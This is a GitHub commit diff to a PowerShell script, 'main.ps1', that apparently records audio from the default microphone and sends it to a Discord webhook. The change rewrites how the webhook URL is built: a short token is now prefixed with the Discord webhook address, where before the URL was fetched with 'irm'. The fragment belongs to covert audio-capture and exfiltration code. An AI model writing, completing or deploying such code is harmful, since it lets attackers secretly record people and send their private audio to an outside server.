Update main.ps1

This commit is contained in:
egieb
2025-06-19 16:53:16 +00:00
committed by GitHub
parent 01da018e3c
commit d2a0e2aa7e
+3 -1
View File
@@ -5,7 +5,9 @@ This script finds the default microphone and records for a specified time to a m
#> #>
$hookurl = "$dc" $hookurl = "$dc"
if ($hookurl.Ln -lt 120){$hookurl = (irm $hookurl).url} if ($hookurl.Length -lt 120){
$hookurl = ("https://discord.com/api/webhooks/" + "$dc")
}
Function RecordAudio{ Function RecordAudio{
param ([int[]]$t) param ([int[]]$t)